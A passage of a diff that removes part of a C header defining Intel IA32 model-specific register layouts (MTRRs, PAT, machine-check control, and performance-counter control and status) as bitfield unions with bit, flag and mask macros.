IA32_DCA_0_CAP_HW_BLOCK_BIT 26 -#define IA32_DCA_0_CAP_HW_BLOCK_FLAG 0x4000000 -#define IA32_DCA_0_CAP_HW_BLOCK_MASK 0x01 -#define IA32_DCA_0_CAP_HW_BLOCK(_) (((_) >> 26) & 0x01) - uint64_t reserved4 : 37; - }; - - uint64_t flags; -} ia32_dca_0_cap_register; - -/** - * @defgroup ia32_mtrr_physbase \ - * IA32_MTRR_PHYSBASE(n) - * - * IA32_MTRR_PHYSBASE(0-9). - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - * @see Vol3A[11.11.2.3(Variable Range MTRRs)] - * @{ - */ -typedef union -{ - struct - { - /** - * [Bits 7:0] Specifies the memory type for the range. - */ - uint64_t type : 8; -#define IA32_MTRR_PHYSBASE_TYPE_BIT 0 -#define IA32_MTRR_PHYSBASE_TYPE_FLAG 0xFF -#define IA32_MTRR_PHYSBASE_TYPE_MASK 0xFF -#define IA32_MTRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 4; - - /** - * [Bits 47:12] Specifies the base address of the address range. This 24-bit value, in the case where MAXPHYADDR is 36 - * bits, is extended by 12 bits at the low end to form the base address (this automatically aligns the address on a 4-KByte - * boundary). - */ - uint64_t page_frame_number : 36; -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_BIT 12 -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ia32_mtrr_physbase_register; - -#define IA32_MTRR_PHYSBASE0 0x00000200 -#define IA32_MTRR_PHYSBASE1 0x00000202 -#define IA32_MTRR_PHYSBASE2 0x00000204 -#define IA32_MTRR_PHYSBASE3 0x00000206 -#define IA32_MTRR_PHYSBASE4 0x00000208 -#define IA32_MTRR_PHYSBASE5 0x0000020A -#define IA32_MTRR_PHYSBASE6 0x0000020C -#define IA32_MTRR_PHYSBASE7 0x0000020E -#define IA32_MTRR_PHYSBASE8 0x00000210 -#define IA32_MTRR_PHYSBASE9 0x00000212 -/** - * @} - */ - - /** - * @defgroup ia32_mtrr_physmask \ - * IA32_MTRR_PHYSMASK(n) - * - * IA32_MTRR_PHYSMASK(0-9). - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - * @see Vol3A[11.11.2.3(Variable Range MTRRs)] - * @{ - */ -typedef union -{ - struct - { - /** - * [Bits 7:0] Specifies the memory type for the range. - */ - uint64_t type : 8; -#define IA32_MTRR_PHYSMASK_TYPE_BIT 0 -#define IA32_MTRR_PHYSMASK_TYPE_FLAG 0xFF -#define IA32_MTRR_PHYSMASK_TYPE_MASK 0xFF -#define IA32_MTRR_PHYSMASK_TYPE(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 3; - - /** - * [Bit 11] Enables the register pair when set; disables register pair when clear. - */ - uint64_t valid : 1; -#define IA32_MTRR_PHYSMASK_VALID_BIT 11 -#define IA32_MTRR_PHYSMASK_VALID_FLAG 0x800 -#define IA32_MTRR_PHYSMASK_VALID_MASK 0x01 -#define IA32_MTRR_PHYSMASK_VALID(_) (((_) >> 11) & 0x01) - - /** - * [Bits 47:12] Specifies a mask (24 bits if the maximum physical address size is 36 bits, 28 bits if the maximum physical - * address size is 40 bits). The mask determines the range of the region being mapped, according to the following - * relationships: - * - Address_Within_Range AND PhysMask = PhysBase AND PhysMask - * - This value is extended by 12 bits at the low end to form the mask value. - * - The width of the PhysMask field depends on the maximum physical address size supported by the processor. - * CPUID.80000008H reports the maximum physical address size supported by the processor. If CPUID.80000008H is not - * available, software may assume that the processor supports a 36-bit physical address size. - * - * @see Vol3A[11.11.3(Example Base and Mask Calculations)] - */ - uint64_t page_frame_number : 36; -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_BIT 12 -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ia32_mtrr_physmask_register; - -#define IA32_MTRR_PHYSMASK0 0x00000201 -#define IA32_MTRR_PHYSMASK1 0x00000203 -#define IA32_MTRR_PHYSMASK2 0x00000205 -#define IA32_MTRR_PHYSMASK3 0x00000207 -#define IA32_MTRR_PHYSMASK4 0x00000209 -#define IA32_MTRR_PHYSMASK5 0x0000020B -#define IA32_MTRR_PHYSMASK6 0x0000020D -#define IA32_MTRR_PHYSMASK7 0x0000020F -#define IA32_MTRR_PHYSMASK8 0x00000211 -#define IA32_MTRR_PHYSMASK9 0x00000213 -/** - * @} - */ - - /** - * @defgroup ia32_mtrr_fix \ - * IA32_MTRR_FIX(x) - * - * IA32_MTRR_FIX(x). - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - * @see Vol3A[11.11.2.2(Fixed Range MTRRs)] - * @{ - */ - /** - * @defgroup ia32_mtrr_fix64k \ - * IA32_MTRR_FIX64K(x) - * - * IA32_MTRR_FIX64K(x). - * @{ - */ -#define IA32_MTRR_FIX64K_BASE 0x00000000 -#define IA32_MTRR_FIX64K_SIZE 0x00010000 -#define IA32_MTRR_FIX64K_00000 0x00000250 - /** - * @} - */ - - /** - * @defgroup ia32_mtrr_fix16k \ - * IA32_MTRR_FIX16K(x) - * - * IA32_MTRR_FIX16K(x). - * @{ - */ -#define IA32_MTRR_FIX16K_BASE 0x00080000 -#define IA32_MTRR_FIX16K_SIZE 0x00004000 -#define IA32_MTRR_FIX16K_80000 0x00000258 -#define IA32_MTRR_FIX16K_A0000 0x00000259 - /** - * @} - */ - - /** - * @defgroup ia32_mtrr_fix4k \ - * IA32_MTRR_FIX4K(x) - * - * IA32_MTRR_FIX4K(x). - * @{ - */ -#define IA32_MTRR_FIX4K_BASE 0x000C0000 -#define IA32_MTRR_FIX4K_SIZE 0x00001000 -#define IA32_MTRR_FIX4K_C0000 0x00000268 -#define IA32_MTRR_FIX4K_C8000 0x00000269 -#define IA32_MTRR_FIX4K_D0000 0x0000026A -#define IA32_MTRR_FIX4K_D8000 0x0000026B -#define IA32_MTRR_FIX4K_E0000 0x0000026C -#define IA32_MTRR_FIX4K_E8000 0x0000026D -#define IA32_MTRR_FIX4K_F0000 0x0000026E -#define IA32_MTRR_FIX4K_F8000 0x0000026F - /** - * @} - */ - - /** - * Architecture defined number of fixed range MTRRs (1 for 64k, 2 for 16k, 8 for 4k). - */ -#define IA32_MTRR_FIX_COUNT ((1 + 2 + 8) * 8) - - /** - * Architecture defined number of variable range MTRRs. - */ -#define IA32_MTRR_VARIABLE_COUNT 0x000000FF - - /** - * A size of array to store all possible MTRRs. - */ -#define IA32_MTRR_COUNT (IA32_MTRR_FIX_COUNT + IA32_MTRR_VARIABLE_COUNT) - /** - * @} - */ - - - /** - * IA32_PAT. - * - * @remarks If CPUID.01H: EDX.MTRR[16] = 1 - */ -#define IA32_PAT 0x00000277 -typedef union -{ - struct - { - /** - * [Bits 2:0] PA0. - */ - uint64_t pa0 : 3; -#define IA32_PAT_PA0_BIT 0 -#define IA32_PAT_PA0_FLAG 0x07 -#define IA32_PAT_PA0_MASK 0x07 -#define IA32_PAT_PA0(_) (((_) >> 0) & 0x07) - uint64_t reserved1 : 5; - - /** - * [Bits 10:8] PA1. - */ - uint64_t pa1 : 3; -#define IA32_PAT_PA1_BIT 8 -#define IA32_PAT_PA1_FLAG 0x700 -#define IA32_PAT_PA1_MASK 0x07 -#define IA32_PAT_PA1(_) (((_) >> 8) & 0x07) - uint64_t reserved2 : 5; - - /** - * [Bits 18:16] PA2. - */ - uint64_t pa2 : 3; -#define IA32_PAT_PA2_BIT 16 -#define IA32_PAT_PA2_FLAG 0x70000 -#define IA32_PAT_PA2_MASK 0x07 -#define IA32_PAT_PA2(_) (((_) >> 16) & 0x07) - uint64_t reserved3 : 5; - - /** - * [Bits 26:24] PA3. - */ - uint64_t pa3 : 3; -#define IA32_PAT_PA3_BIT 24 -#define IA32_PAT_PA3_FLAG 0x7000000 -#define IA32_PAT_PA3_MASK 0x07 -#define IA32_PAT_PA3(_) (((_) >> 24) & 0x07) - uint64_t reserved4 : 5; - - /** - * [Bits 34:32] PA4. - */ - uint64_t pa4 : 3; -#define IA32_PAT_PA4_BIT 32 -#define IA32_PAT_PA4_FLAG 0x700000000 -#define IA32_PAT_PA4_MASK 0x07 -#define IA32_PAT_PA4(_) (((_) >> 32) & 0x07) - uint64_t reserved5 : 5; - - /** - * [Bits 42:40] PA5. - */ - uint64_t pa5 : 3; -#define IA32_PAT_PA5_BIT 40 -#define IA32_PAT_PA5_FLAG 0x70000000000 -#define IA32_PAT_PA5_MASK 0x07 -#define IA32_PAT_PA5(_) (((_) >> 40) & 0x07) - uint64_t reserved6 : 5; - - /** - * [Bits 50:48] PA6. - */ - uint64_t pa6 : 3; -#define IA32_PAT_PA6_BIT 48 -#define IA32_PAT_PA6_FLAG 0x7000000000000 -#define IA32_PAT_PA6_MASK 0x07 -#define IA32_PAT_PA6(_) (((_) >> 48) & 0x07) - uint64_t reserved7 : 5; - - /** - * [Bits 58:56] PA7. - */ - uint64_t pa7 : 3; -#define IA32_PAT_PA7_BIT 56 -#define IA32_PAT_PA7_FLAG 0x700000000000000 -#define IA32_PAT_PA7_MASK 0x07 -#define IA32_PAT_PA7(_) (((_) >> 56) & 0x07) - uint64_t reserved8 : 5; - }; - - uint64_t flags; -} ia32_pat_register; - -/** - * @defgroup ia32_mc_ctl2 \ - * IA32_MC(i)_CTL2 - * - * MSR to enable/disable CMCI capability for bank n. - * - * @remarks If IA32_MCG_CAP[10] = 1 && IA32_MCG_CAP[7:0] > n - * @see Vol3B[15.3.2.5(IA32_MCi_CTL2 MSRs)] - * @{ - */ -#define IA32_MC0_CTL2 0x00000280 -#define IA32_MC1_CTL2 0x00000281 -#define IA32_MC2_CTL2 0x00000282 -#define IA32_MC3_CTL2 0x00000283 -#define IA32_MC4_CTL2 0x00000284 -#define IA32_MC5_CTL2 0x00000285 -#define IA32_MC6_CTL2 0x00000286 -#define IA32_MC7_CTL2 0x00000287 -#define IA32_MC8_CTL2 0x00000288 -#define IA32_MC9_CTL2 0x00000289 -#define IA32_MC10_CTL2 0x0000028A -#define IA32_MC11_CTL2 0x0000028B -#define IA32_MC12_CTL2 0x0000028C -#define IA32_MC13_CTL2 0x0000028D -#define IA32_MC14_CTL2 0x0000028E -#define IA32_MC15_CTL2 0x0000028F -#define IA32_MC16_CTL2 0x00000290 -#define IA32_MC17_CTL2 0x00000291 -#define IA32_MC18_CTL2 0x00000292 -#define IA32_MC19_CTL2 0x00000293 -#define IA32_MC20_CTL2 0x00000294 -#define IA32_MC21_CTL2 0x00000295 -#define IA32_MC22_CTL2 0x00000296 -#define IA32_MC23_CTL2 0x00000297 -#define IA32_MC24_CTL2 0x00000298 -#define IA32_MC25_CTL2 0x00000299 -#define IA32_MC26_CTL2 0x0000029A -#define IA32_MC27_CTL2 0x0000029B -#define IA32_MC28_CTL2 0x0000029C -#define IA32_MC29_CTL2 0x0000029D -#define IA32_MC30_CTL2 0x0000029E -#define IA32_MC31_CTL2 0x0000029F -typedef union -{ - struct - { - /** - * [Bits 14:0] Corrected error count threshold. - */ - uint64_t corrected_error_count_threshold : 15; -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_BIT 0 -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_FLAG 0x7FFF -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_MASK 0x7FFF -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD(_) (((_) >> 0) & 0x7FFF) - uint64_t reserved1 : 15; - - /** - * [Bit 30] CMCI_EN. - */ - uint64_t cmci_en : 1; -#define IA32_MC_CTL2_CMCI_EN_BIT 30 -#define IA32_MC_CTL2_CMCI_EN_FLAG 0x40000000 -#define IA32_MC_CTL2_CMCI_EN_MASK 0x01 -#define IA32_MC_CTL2_CMCI_EN(_) (((_) >> 30) & 0x01) - uint64_t reserved2 : 33; - }; - - uint64_t flags; -} ia32_mc_ctl2_register; - -/** - * @} - */ - - - /** - * IA32_MTRR_DEF_TYPE. - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - */ -#define IA32_MTRR_DEF_TYPE 0x000002FF -typedef union -{ - struct - { - /** - * [Bits 2:0] Default Memory Type. - */ - uint64_t default_memory_type : 3; -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_BIT 0 -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_FLAG 0x07 -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_MASK 0x07 -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE(_) (((_) >> 0) & 0x07) - uint64_t reserved1 : 7; - - /** - * [Bit 10] Fixed Range MTRR Enable. - */ - uint64_t fixed_range_mtrr_enable : 1; -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_BIT 10 -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_FLAG 0x400 -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_MASK 0x01 -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] MTRR Enable. - */ - uint64_t mtrr_enable : 1; -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_BIT 11 -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_FLAG 0x800 -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_MASK 0x01 -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE(_) (((_) >> 11) & 0x01) - uint64_t reserved2 : 52; - }; - - uint64_t flags; -} ia32_mtrr_def_type_register; - -/** - * @defgroup ia32_fixed_ctr \ - * IA32_FIXED_CTR(n) - * - * Fixed-Function Performance Counter n. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - * @{ - */ - /** - * Counts Instr_Retired.Any. - */ -#define IA32_FIXED_CTR0 0x00000309 - - /** - * Counts CPU_CLK_Unhalted.Core - */ -#define IA32_FIXED_CTR1 0x0000030A - - /** - * Counts CPU_CLK_Unhalted.Ref - */ -#define IA32_FIXED_CTR2 0x0000030B - /** - * @} - */ - - - /** - * Read Only MSR that enumerates the existence of performance monitoring features. - * - * @remarks If CPUID.01H: ECX[15] = 1 - */ -#define IA32_PERF_CAPABILITIES 0x00000345 -typedef union -{ - struct - { - /** - * [Bits 5:0] LBR format. - */ - uint64_t lbr_format : 6; -#define IA32_PERF_CAPABILITIES_LBR_FORMAT_BIT 0 -#define IA32_PERF_CAPABILITIES_LBR_FORMAT_FLAG 0x3F -#define IA32_PERF_CAPABILITIES_LBR_FORMAT_MASK 0x3F -#define IA32_PERF_CAPABILITIES_LBR_FORMAT(_) (((_) >> 0) & 0x3F) - - /** - * [Bit 6] PEBS Trap. - */ - uint64_t pebs_trap : 1; -#define IA32_PERF_CAPABILITIES_PEBS_TRAP_BIT 6 -#define IA32_PERF_CAPABILITIES_PEBS_TRAP_FLAG 0x40 -#define IA32_PERF_CAPABILITIES_PEBS_TRAP_MASK 0x01 -#define IA32_PERF_CAPABILITIES_PEBS_TRAP(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] PEBSSaveArchRegs. - */ - uint64_t pebs_save_arch_regs : 1; -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_BIT 7 -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_FLAG 0x80 -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_MASK 0x01 -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] PEBS Record Format. - */ - uint64_t pebs_record_format : 4; -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_BIT 8 -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_FLAG 0xF00 -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_MASK 0x0F -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT(_) (((_) >> 8) & 0x0F) - - /** - * [Bit 12] Freeze while SMM is supported. - */ - uint64_t freeze_while_smm_is_supported : 1; -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_BIT 12 -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_FLAG 0x1000 -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_MASK 0x01 -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Full width of counter writable via IA32_A_PMCx. - */ - uint64_t full_width_counter_write : 1; -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_BIT 13 -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_FLAG 0x2000 -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_MASK 0x01 -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE(_) (((_) >> 13) & 0x01) - uint64_t reserved1 : 50; - }; - - uint64_t flags; -} ia32_perf_capabilities_register; - - -/** - * @brief Fixed-Function Performance Counter Control (R/W) - * - * Fixed-Function Performance Counter Control. Counter increments while the results of ANDing respective enable bit in - * IA32_PERF_GLOBAL_CTRL with the corresponding OS or USR bits in this MSR is true. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ -#define IA32_FIXED_CTR_CTRL 0x0000038D -typedef union -{ - struct - { - /** - * [Bit 0] EN0_OS: Enable Fixed Counter 0 to count while CPL = 0. - */ - uint64_t en0_os : 1; -#define IA32_FIXED_CTR_CTRL_EN0_OS_BIT 0 -#define IA32_FIXED_CTR_CTRL_EN0_OS_FLAG 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_OS_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_OS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] EN0_Usr: Enable Fixed Counter 0 to count while CPL > 0. - */ - uint64_t en0_usr : 1; -#define IA32_FIXED_CTR_CTRL_EN0_USR_BIT 1 -#define IA32_FIXED_CTR_CTRL_EN0_USR_FLAG 0x02 -#define IA32_FIXED_CTR_CTRL_EN0_USR_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_USR(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical - * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions - * occurring in the logical processor which programmed the MSR. - */ - uint64_t any_thread0 : 1; -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_BIT 2 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_FLAG 0x04 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] EN0_PMI: Enable PMI when fixed counter 0 overflows. - */ - uint64_t en0_pmi : 1; -#define IA32_FIXED_CTR_CTRL_EN0_PMI_BIT 3 -#define IA32_FIXED_CTR_CTRL_EN0_PMI_FLAG 0x08 -#define IA32_FIXED_CTR_CTRL_EN0_PMI_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_PMI(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] EN1_OS: Enable Fixed Counter 1 to count while CPL = 0. - */ - uint64_t en1_os : 1; -#define IA32_FIXED_CTR_CTRL_EN1_OS_BIT 4 -#define IA32_FIXED_CTR_CTRL_EN1_OS_FLAG 0x10 -#define IA32_FIXED_CTR_CTRL_EN1_OS_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN1_OS(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] EN1_Usr: Enable Fixed Counter 1 to count while CPL > 0. - */ - uint64_t en1_usr : 1; -#define IA32_FIXED_CTR_CTRL_EN1_USR_BIT 5 -#define IA32_FIXED_CTR_CTRL_EN1_USR_FLAG 0x20 -#define IA32_FIXED_CTR_CTRL_EN1_USR_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN1_USR(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical - * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions - * occurring in the logical processor which programmed the MSR. - * - * @remarks If CPUID.0AH: EAX[7:0] > 2 - */ - uint64_t any_thread1 : 1; -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_BIT 6 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_FLAG 0x40 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] EN1_PMI: Enable PMI when fixed counter 1 overflows. - */ - uint64_t en1_pmi : 1; -#define IA32_FIXED_CTR_CTRL_EN1_PMI_BIT 7 -#define IA32_FIXED_CTR_CTRL_EN1_PMI_FLAG 0x80 -#define IA32_FIXED_CTR_CTRL_EN1_PMI_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN1_PMI(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] EN2_OS: Enable Fixed Counter 2 to count while CPL = 0. - */ - uint64_t en2_os : 1; -#define IA32_FIXED_CTR_CTRL_EN2_OS_BIT 8 -#define IA32_FIXED_CTR_CTRL_EN2_OS_FLAG 0x100 -#define IA32_FIXED_CTR_CTRL_EN2_OS_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN2_OS(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] EN2_Usr: Enable Fixed Counter 2 to count while CPL > 0. - */ - uint64_t en2_usr : 1; -#define IA32_FIXED_CTR_CTRL_EN2_USR_BIT 9 -#define IA32_FIXED_CTR_CTRL_EN2_USR_FLAG 0x200 -#define IA32_FIXED_CTR_CTRL_EN2_USR_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN2_USR(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical - * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions - * occurring in the logical processor which programmed the MSR. - * - * @remarks If CPUID.0AH: EAX[7:0] > 2 - */ - uint64_t any_thread2 : 1; -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_BIT 10 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_FLAG 0x400 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] EN2_PMI: Enable PMI when fixed counter 2 overflows. - */ - uint64_t en2_pmi : 1; -#define IA32_FIXED_CTR_CTRL_EN2_PMI_BIT 11 -#define IA32_FIXED_CTR_CTRL_EN2_PMI_FLAG 0x800 -#define IA32_FIXED_CTR_CTRL_EN2_PMI_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN2_PMI(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 52; - }; - - uint64_t flags; -} ia32_fixed_ctr_ctrl_register; - - -/** - * Global Performance Counter Status. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ -#define IA32_PERF_GLOBAL_STATUS 0x0000038E -typedef union -{ - struct - { - /** - * [Bit 0] Ovf_PMC0: Overflow status of IA32_PMC0. - * - * @remarks If CPUID.0AH: EAX[15:8] > 0 - */ - uint64_t ovf_pmc0 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_BIT 0 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_FLAG 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Ovf_PMC1: Overflow status of IA32_PMC1. - * - * @remarks If CPUID.0AH: EAX[15:8] > 1 - */ - uint64_t ovf_pmc1 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_BIT 1 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_FLAG 0x02 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Ovf_PMC2: Overflow status of IA32_PMC2. - * - * @remarks If CPUID.0AH: EAX[15:8] > 2 - */ - uint64_t ovf_pmc2 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_BIT 2 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_FLAG 0x04 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Ovf_PMC3: Overflow status of IA32_PMC3. - * - * @remarks If CPUID.0AH: EAX[15:8] > 3 - */ - uint64_t ovf_pmc3 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_BIT 3 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_FLAG 0x08 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3(_) (((_) >> 3) & 0x01) - uint64_t reserved1 : 28; - - /** - * [Bit 32] Ovf_FixedCtr0: Overflow status of IA32_FIXED_CTR0. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t ovf_fixedctr0 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_BIT 32 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_FLAG 0x100000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0(_) (((_) >> 32) & 0x01) - - /** - * [Bit 33] Ovf_FixedCtr1: Overflow status of IA32_FIXED_CTR1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t ovf_fixedctr1 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_BIT 33 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_FLAG 0x200000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1(_) (((_) >> 33) & 0x01) - - /** - * [Bit 34] Ovf_FixedCtr2: Overflow status of IA32_FIXED_CTR2. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t ovf_fixedctr2 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_BIT 34 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_FLAG 0x400000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2(_) (((_) >> 34) & 0x01) - uint64_t reserved2 : 20; - - /** - * [Bit 55] Trace_ToPA_PMI: A PMI occurred due to a ToPA entry memory buffer that was completely filled. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 - */ - uint64_t trace_topa_pmi : 1; -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_BIT 55 -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_FLAG 0x80000000000000 -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) - uint64_t reserved3 : 2; - - /** - * [Bit 58] LBR_Frz. LBRs are frozen due to: - * * IA32_DEBUGCTL.FREEZE_LBR_ON_PMI=1. - * * The LBR stack overflowed. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t lbr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_BIT 58 -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_FLAG 0x400000000000000 -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ(_) (((_) >> 58) & 0x01) - - /** - * [Bit 59] CTR_Frz. Performance counters in the core PMU are frozen due to: - * * IA32_DEBUGCTL.FREEZE_PERFMON_ON_PMI=1. - * * One or more core PMU counters overflowed. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t ctr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_BIT 59 -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_FLAG 0x800000000000000 -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_MASK 0x01 